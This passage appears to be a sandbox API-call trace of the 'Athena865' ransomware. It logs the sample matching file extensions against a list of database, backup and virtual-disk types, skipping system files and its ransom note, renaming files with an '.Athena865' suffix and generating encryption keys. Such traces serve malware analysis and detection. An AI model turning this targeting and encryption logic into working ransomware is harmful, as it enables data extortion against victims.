lpString2="$er") returned 1 [0097.942] lstrlenW (lpString="4dd") returned 3 [0097.942] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1 [0097.942] lstrlenW (lpString="4dl") returned 3 [0097.942] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1 [0097.942] lstrlenW (lpString="^^^") returned 3 [0097.942] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1 [0097.942] lstrlenW (lpString="abs") returned 3 [0097.942] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1 [0097.942] lstrlenW (lpString="abx") returned 3 [0097.942] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1 [0097.942] lstrlenW (lpString="accdb") returned 5 [0097.942] lstrcmpiW (lpString1="y.ico", lpString2="accdb") returned 1 [0097.942] lstrlenW (lpString="accdc") returned 5 [0097.943] lstrcmpiW (lpString1="y.ico", lpString2="accdc") returned 1 [0097.943] lstrlenW (lpString="accde") returned 5 [0097.943] lstrcmpiW (lpString1="y.ico", lpString2="accde") returned 1 [0097.943] lstrlenW (lpString="accdr") returned 5 [0097.943] lstrcmpiW (lpString1="y.ico", lpString2="accdr") returned 1 [0097.943] lstrlenW (lpString="accdt") returned 5 [0097.943] lstrcmpiW (lpString1="y.ico", lpString2="accdt") returned 1 [0097.943] lstrlenW (lpString="accdw") returned 5 [0097.943] lstrcmpiW (lpString1="y.ico", lpString2="accdw") returned 1 [0097.943] lstrlenW (lpString="accft") returned 5 [0097.943] lstrcmpiW (lpString1="y.ico", lpString2="accft") returned 1 [0097.943] lstrlenW (lpString="adb") returned 3 [0097.943] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1 [0097.943] lstrlenW (lpString="adb") returned 3 [0097.943] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1 [0097.943] lstrlenW (lpString="ade") returned 3 [0097.943] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1 [0097.943] lstrlenW (lpString="adf") returned 3 [0097.943] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1 [0097.943] lstrlenW (lpString="adn") returned 3 [0097.943] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1 [0097.943] lstrlenW (lpString="adp") returned 3 [0097.943] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1 [0097.943] lstrlenW (lpString="alf") returned 3 [0097.943] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1 [0097.943] lstrlenW (lpString="ask") returned 3 [0097.943] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1 [0097.943] lstrlenW (lpString="btr") returned 3 [0097.943] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1 [0097.943] lstrlenW (lpString="cat") returned 3 [0097.943] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1 [0097.944] lstrlenW (lpString="cdb") returned 3 [0097.944] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1 [0097.944] lstrlenW (lpString="ckp") returned 3 [0097.944] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1 [0097.944] lstrlenW (lpString="cma") returned 3 [0097.944] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1 [0097.944] lstrlenW (lpString="cpd") returned 3 [0097.944] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1 [0097.944] lstrlenW (lpString="dacpac") returned 6 [0097.944] lstrcmpiW (lpString1="ry.ico", lpString2="dacpac") returned 1 [0097.944] lstrlenW (lpString="dad") returned 3 [0097.944] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1 [0097.944] lstrlenW (lpString="dadiagrams") returned 10 [0097.944] lstrcmpiW (lpString1="sitory.ico", lpString2="dadiagrams") returned 1 [0097.944] lstrlenW (lpString="daschema") returned 8 [0097.944] lstrcmpiW (lpString1="tory.ico", lpString2="daschema") returned 1 [0097.944] lstrlenW (lpString="db-journal") returned 10 [0097.944] lstrcmpiW (lpString1="sitory.ico", lpString2="db-journal") returned 1 [0097.944] lstrlenW (lpString="db-shm") returned 6 [0097.944] lstrcmpiW (lpString1="ry.ico", lpString2="db-shm") returned 1 [0097.944] lstrlenW (lpString="db-wal") returned 6 [0097.944] lstrcmpiW (lpString1="ry.ico", lpString2="db-wal") returned 1 [0097.944] lstrlenW (lpString="dbc") returned 3 [0097.944] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1 [0097.944] lstrlenW (lpString="dbs") returned 3 [0097.944] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1 [0097.944] lstrlenW (lpString="dbt") returned 3 [0097.944] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1 [0097.944] lstrlenW (lpString="dbv") returned 3 [0097.944] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1 [0097.945] lstrlenW (lpString="dbx") returned 3 [0097.945] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1 [0097.945] lstrlenW (lpString="dcb") returned 3 [0097.945] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1 [0097.945] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico.Athena865") returned 64 [0097.945] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico.athena865"), dwFlags=0x1) returned 1 [0097.946] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\DocumentRepository.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\documentrepository.ico.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0097.946] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25214) returned 1 [0097.946] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0097.947] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519ff8 [0097.947] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a080) returned 1 [0097.947] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.947] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.948] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6580, lpName=0x0) returned 0x154 [0097.949] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6580) returned 0x100000 [0097.951] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a080) returned 1 [0097.952] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.952] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0097.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0097.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0097.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.952] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0097.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.953] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0097.953] CloseHandle (hObject=0x154) returned 1 [0097.953] CloseHandle (hObject=0x17c) returned 1 [0097.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0097.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519ff8 | out: hHeap=0x4f0000) returned 1 [0097.953] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.953] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47e9f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.953] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.953] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfbd800, ftLastWriteTime.dwHighDateTime=0x1c9facb, nFileSizeHigh=0x0, nFileSizeLow=0x5532e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0097.953] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.953] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.953] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".") returned 1 [0097.953] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="..") returned 1 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="windows") returned -1 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="bootmgr") returned 1 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="temp") returned -1 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="pagefile.sys") returned -1 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="boot") returned 1 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="ids.txt") returned 1 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="ntuser.dat") returned -1 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="perflogs") returned -1 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2="MSBuild") returned 1 [0097.954] lstrlenW (lpString="MySharePoints.ico") returned 17 [0097.954] lstrcpyW (in: lpString1=0x241e888, lpString2="MySharePoints.ico" | out: lpString1="MySharePoints.ico") returned="MySharePoints.ico" [0097.954] lstrlenW (lpString="MySharePoints.ico") returned 17 [0097.954] lstrlenW (lpString="Athena865") returned 9 [0097.954] lstrcmpiW (lpString1="oints.ico", lpString2="Athena865") returned 1 [0097.954] lstrlenW (lpString=".dll") returned 4 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".dll") returned 1 [0097.954] lstrlenW (lpString=".lnk") returned 4 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".lnk") returned 1 [0097.954] lstrlenW (lpString=".ini") returned 4 [0097.954] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".ini") returned 1 [0097.961] lstrlenW (lpString=".sys") returned 4 [0097.961] lstrcmpiW (lpString1="MySharePoints.ico", lpString2=".sys") returned 1 [0097.962] lstrlenW (lpString="MySharePoints.ico") returned 17 [0097.962] lstrlenW (lpString="bak") returned 3 [0097.962] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1 [0097.962] lstrlenW (lpString="ba_") returned 3 [0097.962] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1 [0097.962] lstrlenW (lpString="dbb") returned 3 [0097.962] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1 [0097.962] lstrlenW (lpString="vmdk") returned 4 [0097.962] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1 [0097.962] lstrlenW (lpString="rar") returned 3 [0097.962] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1 [0097.962] lstrlenW (lpString="zip") returned 3 [0097.962] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1 [0097.962] lstrlenW (lpString="tgz") returned 3 [0097.962] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1 [0097.962] lstrlenW (lpString="vbox") returned 4 [0097.962] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1 [0097.962] lstrlenW (lpString="vdi") returned 3 [0097.962] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1 [0097.962] lstrlenW (lpString="vhd") returned 3 [0097.962] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1 [0097.962] lstrlenW (lpString="vhdx") returned 4 [0097.962] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1 [0097.962] lstrlenW (lpString="avhd") returned 4 [0097.963] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1 [0097.963] lstrlenW (lpString="db") returned 2 [0097.963] lstrcmpiW (lpString1="co", lpString2="db") returned -1 [0097.963] lstrlenW (lpString="db2") returned 3 [0097.963] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1 [0097.963] lstrlenW (lpString="db3") returned 3 [0097.963] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1 [0097.963] lstrlenW (lpString="dbf") returned 3 [0097.963] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1 [0097.963] lstrlenW (lpString="mdf") returned 3 [0097.963] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1 [0097.963] lstrlenW (lpString="mdb") returned 3 [0097.963] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1 [0097.963] lstrlenW (lpString="sql") returned 3 [0097.963] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1 [0097.963] lstrlenW (lpString="sqlite") returned 6 [0097.963] lstrcmpiW (lpString1="ts.ico", lpString2="sqlite") returned 1 [0097.963] lstrlenW (lpString="sqlite3") returned 7 [0097.963] lstrcmpiW (lpString1="nts.ico", lpString2="sqlite3") returned -1 [0097.963] lstrlenW (lpString="sqlitedb") returned 8 [0097.963] lstrcmpiW (lpString1="ints.ico", lpString2="sqlitedb") returned -1 [0097.963] lstrlenW (lpString="xml") returned 3 [0097.963] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1 [0097.963] lstrlenW (lpString="$er") returned 3 [0097.963] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1 [0097.963] lstrlenW (lpString="4dd") returned 3 [0097.963] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1 [0097.963] lstrlenW (lpString="4dl") returned 3 [0097.963] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1 [0097.963] lstrlenW (lpString="^^^") returned 3 [0097.963] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1 [0097.964] lstrlenW (lpString="abs") returned 3 [0097.964] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1 [0097.964] lstrlenW (lpString="abx") returned 3 [0097.964] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1 [0097.964] lstrlenW (lpString="accdb") returned 5 [0097.964] lstrcmpiW (lpString1="s.ico", lpString2="accdb") returned 1 [0097.964] lstrlenW (lpString="accdc") returned 5 [0097.964] lstrcmpiW (lpString1="s.ico", lpString2="accdc") returned 1 [0097.964] lstrlenW (lpString="accde") returned 5 [0097.964] lstrcmpiW (lpString1="s.ico", lpString2="accde") returned 1 [0097.964] lstrlenW (lpString="accdr") returned 5 [0097.964] lstrcmpiW (lpString1="s.ico", lpString2="accdr") returned 1 [0097.964] lstrlenW (lpString="accdt") returned 5 [0097.964] lstrcmpiW (lpString1="s.ico", lpString2="accdt") returned 1 [0097.964] lstrlenW (lpString="accdw") returned 5 [0097.964] lstrcmpiW (lpString1="s.ico", lpString2="accdw") returned 1 [0097.964] lstrlenW (lpString="accft") returned 5 [0097.964] lstrcmpiW (lpString1="s.ico", lpString2="accft") returned 1 [0097.964] lstrlenW (lpString="adb") returned 3 [0097.964] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1 [0097.964] lstrlenW (lpString="adb") returned 3 [0097.964] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1 [0097.964] lstrlenW (lpString="ade") returned 3 [0097.964] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1 [0097.964] lstrlenW (lpString="adf") returned 3 [0097.964] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1 [0097.964] lstrlenW (lpString="adn") returned 3 [0097.964] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1 [0097.964] lstrlenW (lpString="adp") returned 3 [0097.964] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1 [0097.964] lstrlenW (lpString="alf") returned 3 [0097.964] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1 [0097.965] lstrlenW (lpString="ask") returned 3 [0097.965] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1 [0097.965] lstrlenW (lpString="btr") returned 3 [0097.965] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1 [0097.965] lstrlenW (lpString="cat") returned 3 [0097.965] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1 [0097.965] lstrlenW (lpString="cdb") returned 3 [0097.965] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1 [0097.965] lstrlenW (lpString="ckp") returned 3 [0097.965] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1 [0097.965] lstrlenW (lpString="cma") returned 3 [0097.965] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1 [0097.965] lstrlenW (lpString="cpd") returned 3 [0097.965] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1 [0097.965] lstrlenW (lpString="dacpac") returned 6 [0097.965] lstrcmpiW (lpString1="ts.ico", lpString2="dacpac") returned 1 [0097.965] lstrlenW (lpString="dad") returned 3 [0097.965] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1 [0097.965] lstrlenW (lpString="dadiagrams") returned 10 [0097.965] lstrcmpiW (lpString1="Points.ico", lpString2="dadiagrams") returned 1 [0097.965] lstrlenW (lpString="daschema") returned 8 [0097.965] lstrcmpiW (lpString1="ints.ico", lpString2="daschema") returned 1 [0097.965] lstrlenW (lpString="db-journal") returned 10 [0097.965] lstrcmpiW (lpString1="Points.ico", lpString2="db-journal") returned 1 [0097.965] lstrlenW (lpString="db-shm") returned 6 [0097.965] lstrcmpiW (lpString1="ts.ico", lpString2="db-shm") returned 1 [0097.965] lstrlenW (lpString="db-wal") returned 6 [0097.965] lstrcmpiW (lpString1="ts.ico", lpString2="db-wal") returned 1 [0097.965] lstrlenW (lpString="dbc") returned 3 [0097.965] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1 [0097.966] lstrlenW (lpString="dbs") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1 [0097.966] lstrlenW (lpString="dbt") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1 [0097.966] lstrlenW (lpString="dbv") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1 [0097.966] lstrlenW (lpString="dbx") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1 [0097.966] lstrlenW (lpString="dcb") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1 [0097.966] lstrlenW (lpString="dct") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1 [0097.966] lstrlenW (lpString="dcx") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1 [0097.966] lstrlenW (lpString="ddl") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1 [0097.966] lstrlenW (lpString="dlis") returned 4 [0097.966] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1 [0097.966] lstrlenW (lpString="dp1") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1 [0097.966] lstrlenW (lpString="dqy") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1 [0097.966] lstrlenW (lpString="dsk") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1 [0097.966] lstrlenW (lpString="dsn") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1 [0097.966] lstrlenW (lpString="dtsx") returned 4 [0097.966] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1 [0097.966] lstrlenW (lpString="dxl") returned 3 [0097.966] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1 [0097.966] lstrlenW (lpString="eco") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1 [0097.967] lstrlenW (lpString="ecx") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1 [0097.967] lstrlenW (lpString="edb") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1 [0097.967] lstrlenW (lpString="epim") returned 4 [0097.967] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1 [0097.967] lstrlenW (lpString="fcd") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1 [0097.967] lstrlenW (lpString="fdb") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1 [0097.967] lstrlenW (lpString="fic") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1 [0097.967] lstrlenW (lpString="flexolibrary") returned 12 [0097.967] lstrcmpiW (lpString1="rePoints.ico", lpString2="flexolibrary") returned 1 [0097.967] lstrlenW (lpString="fm5") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1 [0097.967] lstrlenW (lpString="fmp") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1 [0097.967] lstrlenW (lpString="fmp12") returned 5 [0097.967] lstrcmpiW (lpString1="s.ico", lpString2="fmp12") returned 1 [0097.967] lstrlenW (lpString="fmpsl") returned 5 [0097.967] lstrcmpiW (lpString1="s.ico", lpString2="fmpsl") returned 1 [0097.967] lstrlenW (lpString="fol") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1 [0097.967] lstrlenW (lpString="fp3") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1 [0097.967] lstrlenW (lpString="fp4") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1 [0097.967] lstrlenW (lpString="fp5") returned 3 [0097.967] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1 [0097.967] lstrlenW (lpString="fp7") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1 [0097.968] lstrlenW (lpString="fpt") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1 [0097.968] lstrlenW (lpString="frm") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1 [0097.968] lstrlenW (lpString="gdb") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1 [0097.968] lstrlenW (lpString="gdb") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1 [0097.968] lstrlenW (lpString="grdb") returned 4 [0097.968] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1 [0097.968] lstrlenW (lpString="gwi") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1 [0097.968] lstrlenW (lpString="hdb") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1 [0097.968] lstrlenW (lpString="his") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="his") returned 1 [0097.968] lstrlenW (lpString="ib") returned 2 [0097.968] lstrcmpiW (lpString1="co", lpString2="ib") returned -1 [0097.968] lstrlenW (lpString="idb") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1 [0097.968] lstrlenW (lpString="ihx") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1 [0097.968] lstrlenW (lpString="itdb") returned 4 [0097.968] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1 [0097.968] lstrlenW (lpString="itw") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1 [0097.968] lstrlenW (lpString="jet") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1 [0097.968] lstrlenW (lpString="jtx") returned 3 [0097.968] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1 [0097.968] lstrlenW (lpString="kdb") returned 3 [0097.969] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1 [0097.969] lstrlenW (lpString="kexi") returned 4 [0097.969] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1 [0097.969] lstrlenW (lpString="kexic") returned 5 [0097.969] lstrcmpiW (lpString1="s.ico", lpString2="kexic") returned 1 [0097.969] lstrlenW (lpString="kexis") returned 5 [0097.969] lstrcmpiW (lpString1="s.ico", lpString2="kexis") returned 1 [0097.969] lstrlenW (lpString="lgc") returned 3 [0097.969] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1 [0097.969] lstrlenW (lpString="lwx") returned 3 [0097.969] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1 [0097.969] lstrlenW (lpString="maf") returned 3 [0097.969] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1 [0097.969] lstrlenW (lpString="maq") returned 3 [0097.969] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1 [0097.969] lstrlenW (lpString="mar") returned 3 [0097.969] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1 [0097.969] lstrlenW (lpString="marshal") returned 7 [0097.969] lstrcmpiW (lpString1="nts.ico", lpString2="marshal") returned 1 [0097.969] lstrlenW (lpString="mas") returned 3 [0097.969] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1 [0097.969] lstrlenW (lpString="mav") returned 3 [0097.969] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1 [0097.969] lstrlenW (lpString="maw") returned 3 [0097.969] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1 [0097.969] lstrlenW (lpString="mdbhtml") returned 7 [0097.969] lstrcmpiW (lpString1="nts.ico", lpString2="mdbhtml") returned 1 [0097.969] lstrlenW (lpString="mdn") returned 3 [0097.969] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1 [0097.969] lstrlenW (lpString="mdt") returned 3 [0097.969] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1 [0097.970] lstrlenW (lpString="mfd") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1 [0097.970] lstrlenW (lpString="mpd") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1 [0097.970] lstrlenW (lpString="mrg") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1 [0097.970] lstrlenW (lpString="mud") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1 [0097.970] lstrlenW (lpString="mwb") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1 [0097.970] lstrlenW (lpString="myd") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1 [0097.970] lstrlenW (lpString="ndf") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1 [0097.970] lstrlenW (lpString="nnt") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1 [0097.970] lstrlenW (lpString="nrmlib") returned 6 [0097.970] lstrcmpiW (lpString1="ts.ico", lpString2="nrmlib") returned 1 [0097.970] lstrlenW (lpString="ns2") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1 [0097.970] lstrlenW (lpString="ns3") returned 3 [0097.970] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1 [0097.970] lstrlenW (lpString="ns4") returned 3 [0097.970] lstrcmpiW (lpString1="ico", 